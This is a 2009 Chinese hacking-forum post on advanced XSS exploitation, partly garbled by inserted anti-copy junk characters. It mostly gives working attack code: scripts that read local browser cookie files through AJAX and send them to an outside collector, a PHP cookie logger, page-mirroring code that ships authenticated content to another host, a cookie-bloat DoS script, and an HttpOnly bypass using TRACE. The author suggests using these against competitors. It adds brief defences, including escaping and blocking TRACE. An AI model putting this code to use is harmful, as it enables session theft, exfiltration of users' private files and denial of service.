XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
9 P4 F6 a' r! S本帖最后由 racle 于 2009-5-30 09:19 编辑 6 X; I) y7 }* ]$ \, Y8 {3 D) F
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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-------------------------------------------前言---------------------------------------------------------
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. B( _; _+ O: V% n% K1 `0 @9 r% ]本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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# |& N, W1 ~, E. J" U J3 ]如果你还未具备基础XSS知识,以下几个文章建议拜读:
2 v/ N- L* x* R4 p2 o( fhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介+ o0 q6 D' m r% R4 @
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全! p, Y4 m! Z7 A' _( D. s
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过! b: }2 N% x7 r: p# A
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
4 j7 U; {8 A; C8 N/ |http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
' [0 C- M2 |7 o' ?+ I) ^6 z5 o2 ohttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持! ~! R1 |2 K$ I1 j% H, |8 |- z
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# _0 ^! z& T& f! I如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.+ I( N% a( G& z' C( \! P2 ]+ l
9 @, B( W0 o* N) h希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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2 ?4 ?0 @- J8 }如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,9 @) G8 z8 ~% x8 A! I. |
3 s, J4 N; D. S9 S$ f% PBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大; ]; v3 @* p3 ?: N* p8 Q
`1 J" [/ x% F; ~3 r7 uQQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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e" W5 Q) R, b复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.( [9 |& `1 q. b
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9 M/ t0 k! p& R; Q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到. o! `+ H; L/ K' ?2 Y# ~- }8 x
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3 |3 n8 J; |& p1 F; n5 A) N. A如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.( K S4 B' J- [, }- m+ c
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
5 }+ g6 W. c) w3 _2 S我们在这里重点探讨以下几个问题:
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2 o% A1 X/ _; d( B6 S# _" X( p1 通过XSS,我们能实现什么?) B5 u% r2 J3 M2 {/ r9 _9 q- `
8 r5 w$ l6 g! y! d; g1 Y2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?: M* V. l) s, o2 n4 R0 ?+ I6 Y
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4 XSS漏洞在输出和输入两个方面怎么才能避免.' K4 P% t* o* b5 J
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
1 y4 ]9 B# ^* g- X! k; N7 T复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
1 O8 P& [3 d$ }/ K3 V1 G8 G复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% Q$ V9 q% \7 i* i1 Z1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
* X" F2 u( o6 r, x1 ^2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 T* A' T h6 l/ l0 x ^' @3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.& C7 e& m8 @0 R! `; q ~
4:Http-only可以采用作为COOKIES保护方式之一.
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5 V& w! `2 @/ [( V3 L0 q, t(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者): z( Y+ g% \2 O
3 {* H8 i# ^ w我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)/ [ ~6 f( h. \' ]% f7 s" z# v; y: U
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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/ A% Q+ T4 V; q4 f; S- _ 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。+ e/ D' m) ?/ J; f2 y
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- x, `6 V* |+ b7 c 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function ajax_obj(){4 ?1 T' _" R6 P* S" w- } [, b
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',; M1 b. v6 D' v+ u3 F; Q
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try {
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}
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if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");) u: A0 U3 i6 U! u1 g8 |
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return _x.responseText;
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</script>! E+ s0 s: l! O$ V
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>! I3 _) J6 n$ _/ K0 a- [
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function ajax_obj(){9 T U0 C. w# J) l" [. D
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if(window.XMLHttpRequest) {2 k7 \8 e! V z$ A6 @
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];4 _, Q# Q7 o3 D& S
: z4 D1 g6 i0 n( X3 Q for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);* M9 n. z% z1 i0 y
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}
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var _x = ajax_obj();8 P0 ~, _4 K: p6 C( n; @
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* Q! [( e7 I( P6 B; V _x.open(_m,action,false);! m; ~: K; u# a" Q. y3 o
5 z8 i1 p( X4 Y1 j, z if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");5 j6 }% r. d8 g% X# ~
7 |6 w+ j3 Q5 y7 j _x.send(argv);
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1 o4 l' v/ R* a return _x.responseText;
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, P1 I0 D. y: `9 I- Q复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”5 u; m( e6 U. p9 y+ C d
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"2 ]" j7 @3 T5 Y
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' a2 f' W: H$ i/ ]# q Chrome 1.0.154.53 use ajax read local txt file and upload exp , E# D6 R6 q& o- p
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: |1 c, m+ ?" a+ f z4 I author voidloafer@gmail.com 2009-4-22 1 ] \6 j( s$ n; r
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ( u' x6 @+ l" h' z; X" ?8 Z; F
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header("Content-Disposition: attachment;filename=kxlzx.htm"); & H" I: `* a* V* k2 u
. j; @3 `# s5 ?0 M# }8 Yheader("Content-type: application/kxlzx");
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/*
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% b' j- M+ K: w+ v$ H; @ set header, so just download html file,and open it at local.
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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST"> ) ]6 d$ P$ t5 y% | [9 D
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<input id="input" name="cookie" value="" type="hidden"> 8 \: x: a+ A* K" `+ U' I
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</form> 2 b8 w+ k5 u) x
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function doMyAjax(user)
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{
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+ a8 q3 _: j$ Q3 F1 ^9 k4 svar time = Math.random();
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/* 1 J4 S! I. ]7 ~% O! |2 k
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default : ]+ y: p6 }5 R. a
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History ) g5 S$ r$ c! h
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and so on...
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! g e7 |1 _2 v) Rvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 4 R" Y1 n8 Z( ?1 a/ T# A# q7 W' m) t
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3 ]% ? |8 \0 JstartRequest(strPer);
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} # W: N' T- u* x7 o% a0 |0 ^& J C8 b" @4 Q
1 x" {) ]+ F: w. ^! u. V, t& X9 _
) v, v& A) b6 S8 U
0 t7 J- U% J& U2 S# p; Z T' xfunction Enshellcode(txt) , D$ x5 C3 V) D" P+ J+ ~
" e- {. h7 @# u" U$ {
{
2 J3 [6 R1 @, b$ r% j
5 U; G# ]9 Y! T' B( d/ kvar url=new String(txt); 7 q' S. }6 z, o. ?+ H
3 P2 \; @+ F; ?* D; N
var i=0,l=0,k=0,curl=""; 6 ~/ H8 x* F: U5 h/ @9 h
( \7 j) _. R% R5 q/ e
l= url.length; - i4 Y- J6 n8 K- `2 t0 k/ [$ J
; r6 Y7 ~3 D$ P) a) { M
for(;i<l;i++){
% u* C4 X! e' n, P
' P0 `# o, R+ Yk=url.charCodeAt(i);
8 a5 N( N6 H& O- a$ A
! G! H2 J6 v( @& B6 I$ }if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 8 J+ O( L% C+ r2 K/ z4 H7 N
7 [( r% n) F6 F: E9 Mif (l%2){curl+="00";}else{curl+="0000";} 8 u6 D* ?5 R ~, h
# I4 X- s. J4 G2 U) }# g p
curl=curl.replace(/(..)(..)/g,"%u$2$1");
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Q1 d0 g) I$ x6 k" n# E; U4 treturn curl; ! |: w2 x7 ~$ R2 F5 w0 y9 ^ j
* l4 X5 o' U! {/ Q4 g k2 i
}
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% q/ G8 N' s& o
( w; B0 g7 ^( ?0 \4 x# O3 }
/ ]0 P( q% |- n* F& \$ g5 p5 J
3 c4 k0 F @2 x* r( ?
var xmlHttp; , X0 I: e" R( `% X' I0 `: Y4 a/ E
3 u: q- D/ d$ J: R
function createXMLHttp(){
7 [& e+ k! Z- b1 E
% e% v: N- t: B/ [1 J6 V! ] if(window.XMLHttpRequest){ 3 U; U# c3 U1 g3 L3 H
/ s# ~6 l* {! D- c/ [2 n
xmlHttp = new XMLHttpRequest();
( O) y& A8 h7 \% y3 c) ^5 I3 I( x# o6 H9 z+ y& ]
}
' a$ P& @/ f+ q& R' W6 N1 E, r: w# g6 t: Z7 s \ ^1 a
else if(window.ActiveXObject){ 9 E, m6 }5 s& w9 {9 S0 `
* z% X( f; n: r( xxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
: ^% ^3 s: w+ O- O0 _7 M$ M/ \$ W' x" ^( h
}
% M$ p. L; W& a2 f! o4 `6 j& Q1 P. L+ M+ A5 y4 ~2 V( d
} + _0 B2 |. H p* m& H2 {# q0 [" v
& f+ Q. [# L* [; C7 ` / e5 F l: ~) ?! ?- `
& Q8 e8 `+ y4 u; x6 z, Lfunction startRequest(doUrl){ ; B g/ W k- {( p, \' x% V
2 X/ Y) W, n& X- R! P3 E
$ Z% Y, P7 p& [* p) J2 h
! z: ?2 Z h8 i6 Y createXMLHttp();
# K( C* A+ k6 E* X0 j
2 Z+ J: p5 ^- P1 l* j5 A
7 T: k5 h# I3 {+ @( i
: s# U0 T! c, X3 S4 E1 N xmlHttp.onreadystatechange = handleStateChange; , x* p3 ?+ N! V: u& ~
8 A% L) V, Y: t+ Q7 h
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xmlHttp.open("GET", doUrl, true); N: n% f) T I! n
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xmlHttp.send(null); 9 C. y. a9 d8 U& F" Z
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5 n0 C; [/ ^8 b1 g. i! C! ~
6 |3 r. j/ p) e, C& f
} # p' Q3 {' N0 D9 \5 u
+ ^8 |9 {* O$ v
% j8 N0 D. q' \+ J5 t; _* `4 I! b' z1 C5 V
function handleStateChange(){ ( S2 y$ @% R( W, y
' P: D8 w3 l1 ^: y0 |% x2 [ if (xmlHttp.readyState == 4 ){
/ ~( d2 I& H) u* J' G- R& p+ d$ R5 [; _* C9 F5 I% d
var strResponse = "";
- N* A; M6 L- C# G! o
3 X$ g2 |3 G/ H, L! J. l2 x setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
3 i7 r5 ~' M/ {# J. \, @6 p% E% L3 ^% T( s, ]
7 x' v( B+ z0 z8 H) J2 x$ G
& u5 M% }2 d3 i; ]& F7 g
} 8 S: n( W& `7 H6 e8 u4 v
5 O# s8 p* B( W
}
& z% G) T m" U
) e, r' `0 Q# d% k" q T/ f; p# `
3 V+ }- y* @0 I% c: O; \( d3 R
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1 ?. W; c8 ~2 R0 i1 H" M
function framekxlzxPost(text) ! r7 \4 h+ r% K: e
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{ k5 _ r( ]: ]* b- z0 C' [7 p, s
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document.getElementById("input").value = Enshellcode(text); 8 `0 m" \ B: U4 r% [ P
4 ]0 f( D9 G9 X9 S1 J document.getElementById("form").submit(); c% V# j# {1 P6 Q
& R( l* l9 F# ?* _. ?. e}
% A0 z H3 m3 d+ j; W; U) p/ U) m; F8 k, S6 Y& {; z
; W# U8 `- U% h' T {
3 {9 ]3 g6 u! m$ D5 ?& i( x
doMyAjax("administrator");
. N) K. W8 O# w+ `; {# M) {$ I* u, a2 L J/ V5 D
Q- X6 U8 y w) N' ~0 ?( z
5 C& X3 w7 h: Y% c/ K' p</script>0 d0 m7 @7 r6 T& ~
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp; 6 M" J6 h8 F5 k4 L) R4 o
% k' d2 e0 I6 ?7 s# A8 X- N
function createXMLHttp(){ ; r" S7 b% ]) y! @- v0 r* ?
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if(window.XMLHttpRequest){
. J3 e* T1 {# P; x
7 B1 ~; ]7 Y# P `" V xmlHttp = new XMLHttpRequest();
9 U% u4 O& C9 H9 a- t8 L+ u9 L/ f& l( W
}
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, E1 m% z2 Y% |9 c6 P+ Q1 u5 L7 I else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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Q9 b1 l. j( `7 Y& Q, @ } 2 J- S6 Z* v+ [+ p) Q& U$ _6 Y
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}
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function startRequest(doUrl){ 5 Q/ f& g1 h0 A; s; F
9 a6 v! D6 r, P4 Z
" V& _+ n, f9 f) e5 p$ ~2 z( s
" R; x3 [2 t6 R; m! o% M$ O4 _ createXMLHttp(); 5 r1 L$ `% y: j5 W: A
2 O9 ?! p9 B9 O9 p2 M3 k - Z& |/ J; X/ N D4 |
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xmlHttp.onreadystatechange = handleStateChange; 3 _- @1 N5 K- f/ F! T! R
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{2 R- |+ x) b$ Z! Q xmlHttp.open("GET", doUrl, true); * g( V/ H2 w6 P9 [0 V* ^( G" V! u
$ [9 h* v1 F) `% C
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3 }, `+ Q1 {' d8 ^& c4 q+ s xmlHttp.send(null); 2 c$ T s1 [' W- A% Q
4 m- A# B' q& N- _ Q8 B 6 C2 D2 B8 Q8 g* u3 G/ L
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# _( z3 F6 x1 g* Z
}
& C8 h$ t! y. s O; r/ U/ E9 B/ Y0 w6 u4 G' |) a% b7 b
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7 l/ w& i/ d5 I% w% c# R2 `! |
function handleStateChange(){
. ?# E8 \$ m" J! T* G& W$ B. y% q% H8 [) W% p6 A
if (xmlHttp.readyState == 4 ){
4 i. O4 s8 Y! l% x' j* w: ^1 k1 M5 H1 y5 }; B6 Q% C
var strResponse = "";
2 b1 U1 y5 ~4 K9 T% r) i: V0 D) K& s7 r. L* I
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
+ `" W8 i) E' O. }7 T% F* @/ t# o: A, X9 d
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! c3 @! v0 N- E4 L$ a& |; H" @ } 7 G" ^- }% E# y* \9 F. _
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5 B; w- B, j/ h* M$ I7 R
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8 M9 F1 y: E- J" U. Y, Lfunction doMyAjax(user,file) - d3 W) }( \3 n* {5 _$ h
# A- @$ Y! Y1 T' R; G' Z+ Q{
6 i9 ?% f9 V( |
& ?! D( S2 R$ h& _# R) ]! Q var time = Math.random(); & Y: P6 b2 O; q6 b1 _ I
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5 s9 O6 z. F/ q. S& V; Y
% w/ L" B, E% U$ J3 U. x0 S! A var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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( ~9 H9 R5 h& T) l* W ?6 C startRequest(strPer); / Z/ v& h, z+ p" G6 x+ ]& Z
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: w0 {! c# ^9 T" n2 e- r7 ]8 P}
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# R$ [' i, `; B& }! ~) Q4 b" `
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function framekxlzxPost(text)
# m, z" n; }" _! I' v& I! J" }" f! ], j
{ 4 h7 x1 W! S! C
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); $ _' I3 @; n# z* O
2 F. q9 P; ~, v% q' l( p
alert(/ok/);
9 K) ]) X r7 q: R( v& T
+ h/ k, g3 t+ B: }1 A \}
+ Z" }* k3 c( r0 F5 o6 y2 ~8 f3 |
+ w/ V) o3 W4 b8 T: _$ _+ c8 M 3 u M5 c3 t1 S! q3 _0 G4 j
5 T: B& o" f2 r0 L8 T. y8 _
doMyAjax('administrator','administrator@alibaba[1].txt');
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</script>
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( F ]: C5 v% z6 b2 V# u2 ]3 [/ G8 m. R) Q! Z
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a.php. M0 v7 H% K7 F& j! N1 P
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p0 H. H& m/ q* y& |; b: `<?php
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5 S- |4 C3 l7 r
9 Q( K! z) o$ t7 t' M% `: l$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; % C* K! ]# Q, T" j% d0 e: _
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 4 @/ e/ ~$ I9 b4 j
0 m | }( P$ ^7 F5 f: _ . o, l) ?/ y, J9 j4 x0 [' ~2 ?3 D
2 s7 f8 w. Y& U4 d+ D/ i$ U/ L$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
`1 w7 U2 }) l; [3 @& }( N( C8 H& {$ B1 m0 Y
fwrite($fp,$_GET["cookie"]); . {8 ~* ?) @4 y6 [$ m6 E+ l) Q y
m+ a% N- j) D/ \fclose($fp);
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?> * S2 }5 R+ S$ n4 ^7 v
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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6 y: O5 y1 N. k# i N, d8 ?或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.9 b, G" @/ i. N* V: x
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能. l8 T$ N' ~' q, m
# v8 L6 q8 N% m1 A8 u
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);% K2 i# z& u5 i4 c( [
! d* N1 N @& H u) R//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
0 _! j3 C3 h$ y6 ?/ _: R
( A- E1 z& d8 E$ ~, }: g$ f% M' B//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);. s& g# {% A; v% C
; _/ p$ i2 o8 ]! \( ^4 _function getURL(s) {& ?( @2 f, }' I7 o
- D+ t( f; j$ Z$ S0 Z) _" `7 ovar image = new Image();
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image.style.width = 0;) Y* U; U6 t( n& p4 d7 d5 J; ~) D
9 @) h8 l4 z" R. w$ P0 d6 Yimage.style.height = 0;
: b) [ h- o% t, k7 r" n
7 R0 d# l& @& Y6 L" o2 R1 Yimage.src = s;
0 ?) A' D6 n# V7 z; L1 p1 u/ Y6 _: [9 p' l
}
& y" z! \. z4 o3 w6 E9 H5 l; c4 G. [4 \5 ?# C
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText); w1 p3 g# v# T- h$ E+ V$ t
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: ~, c: H) q2 N这里引用大风的一段简单代码:<script language="javascript">
# H, a" b: o @0 |1 q* p; ?5 V9 R7 l
var metastr = "AAAAAAAAAA"; // 10 A
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& l* e8 z6 }$ b8 I( Z" `* r1 wvar str = "";
8 @) A" O; r( R: j/ k: c$ g# y6 N, w4 ]+ {" G& z
while (str.length < 4000){
/ I; }3 e& J4 h j& [# O- T; Q1 V. L0 ]& W' T5 K
str += metastr;: m4 [- t; t3 m+ o7 Q
5 J7 e7 [+ h, J
}
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& I- o( }* {+ a
5 a" c. C4 r* J, z8 i$ W" N, F; D U; ^7 r9 l% ~' y( Q
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>" u# |$ U v3 @% k" R& V+ T
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
; i" E$ G( E g6 m% s+ S+ Z. l复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.) y) e) j" c: j7 b$ |7 `1 I, N# t
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150 w6 n, ^! N- S8 r* X* n" o8 H
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
/ r- ?2 ~& S! D% j5 n8 p& J攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
, }8 ?# b+ r' N% U' `; Q6 D: P7 x6 u
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+ x& Q2 q& A' O+ I# ~8 s3 x/ [9 u7 p4 M( F7 q `( D
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(III) Http only bypass 与 补救对策:
$ J% [& `$ y6 }- |2 U; Y7 ~% u. q4 I& h. g
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
$ s' l& ?- x. u4 z以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">9 ^# n6 h0 ]2 O8 I z" |; g
9 V- p# }) q& r( c& u/ }
<!--
, g$ I0 ?& H" ]6 t. Z$ {; W5 u: o0 U! p
function normalCookie() { ; i5 A% r1 V. S D4 L4 x
+ W8 j6 c& Y, {& w2 g4 G0 Hdocument.cookie = "TheCookieName=CookieValue_httpOnly";
4 M" `! n, `: b9 j, W, M4 }' n% V: {/ m# w
alert(document.cookie);. b& A0 Y; `, n& s' {
% a$ ^7 [! u& w ^}
O; H# i, g. Z6 T. S5 V( q5 s. @- K8 }0 G, ? a3 b% @+ F
6 }4 S. J. g4 m) ^3 p8 K& x* n4 G4 a' U$ L" b4 w6 b
' U( g) q6 S( d' E- M' Q+ C4 b3 p" ?; I B1 L* P0 e
function httpOnlyCookie() {
4 L4 i4 Z# c8 q3 Q+ X- x
8 y4 r+ F& o/ C; ~document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; . J: Q4 B2 C7 h% X! \, e
% X$ A. |- e1 p, ]5 F& Palert(document.cookie);}
! _- k/ q) @8 J3 Q/ s- o) @! f/ R% X
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4 R4 B5 e- b# d( N//--> o# R# j/ a9 z% J5 w5 D- h
; t. p+ H, Z4 D. t# D/ r- x R0 U
</script>
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
9 ] h- t3 i/ ~9 _! x' Z
X( O* T' `/ M. S, }; E<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>6 e' q0 q: {* o+ I2 K4 h4 M
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>: M& M3 P- O* U7 C5 T" c+ y
$ G" l% ~" s. L0 Z) ?& M# c' j# c6 Y0 P% ?# z# i* v0 t
2 q! E. S+ A8 r4 y5 Mvar request = false;" B* m; N$ x% G Y; y( ~ a! v9 R
7 S3 E+ c5 ?! y: j' v
if(window.XMLHttpRequest) {/ q3 G9 ^4 g6 d7 L7 g5 m
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request = new XMLHttpRequest();
, B5 C" X& C; W! ?3 z8 H& E
6 }' v; j8 K, f* j/ Z8 ^! g1 z if(request.overrideMimeType) {
: u$ R7 R# {: P3 U7 ^* b9 g
y* p' i" q m2 N: r. [ request.overrideMimeType('text/xml');) I. v. N! p7 F# |: x0 B; q0 N
8 Q$ t, d* W% T7 I% N7 x
}
& D: y. w" V8 K* A, w
5 g' n7 Z1 Y8 ~9 e+ e1 X } else if(window.ActiveXObject) {3 C+ Q C( a9 B* f
1 B% N9 j5 @7 _
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. y) J r7 x) H' F# v6 w* ~5 D+ X% }$ h- {8 r
for(var i=0; i<versions.length; i++) {
1 I' [# n7 U) N# m. L, l8 X- y4 P( v) W+ p. P+ |; w; P
try {
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request = new ActiveXObject(versions);
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} catch(e) {}
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# }# X% l' E. y* y* ^% i6 k
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xmlHttp=request;/ O7 C2 B9 R$ w; {0 l1 b& X! N
+ ~* Z" F4 J H2 n
xmlHttp.open("TRACE","http://www.vul.com",false); A0 P5 n4 _7 w' m
3 G; Y4 @3 C6 v, cxmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;% j6 e5 A7 `, g7 O+ `/ z
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alert(xmlDoc);. S9 y% e1 ~& o9 R" N
5 Q3 D6 J7 _% e</script>
$ P2 Q4 t6 ~) K- g" Z7 V复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>* a3 t8 W0 D3 d7 y
4 M D, `3 l% u2 A# d7 b
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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/ R: b2 ?- o2 o8 e9 _2 d8 b3 P$ UXmlHttp.open("GET","http://www.google.com",false);, O$ h; v2 ?* M6 p9 l7 f! u
; n" Y+ I }- R5 D9 J9 J7 j8 HXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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/ a5 o* `0 t# @9 iXmlHttp.send(null);
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2 j2 B( D( D F* K# {6 W: G5 Dvar resource=xmlHttp.responseText
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resource.search(/cookies/);
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2 U: x2 E: ~% y4 }. h$ E......................6 y9 X" v9 z2 {, I; w& m
! H1 u' L# m* r9 \( q</script>
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. Q7 o9 {& e7 U, l* L' }
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) F$ K6 G4 D9 z. {6 T3 e& o1 M
1 \- q' B. n3 z, N& i如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求. l: p6 X+ n% Q. Q% E; |6 F
" M% g) ?( m ?& }4 l/ ^3 {) a' S
[code]
: O M) @0 b; i9 l/ \0 @: D$ x8 F5 Q# t( E! \$ C
RewriteEngine On
0 N# y/ w) }- d5 c8 A* q: m- ^
3 I' }& @# r1 fRewriteCond %{REQUEST_METHOD} ^TRACE; t/ Y" a1 x* w/ u" r3 I
- v8 l8 m6 V! P0 s5 e# Z6 dRewriteRule .* - [F]" v4 N: t" M* _+ S% V+ M% z5 Y
2 g( Q4 u! a* G. x4 d$ R3 C/ M a% W% ` @. F9 W) M
/ K* V: k% i. q6 ZSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求& |0 X8 j2 H, M& O
& F( t ?6 f1 }) ~
acl TRACE method TRACE9 D. q+ i! g( G/ v
# f3 { ]0 P7 {.... ^6 w$ Z. W; K! R5 t* h
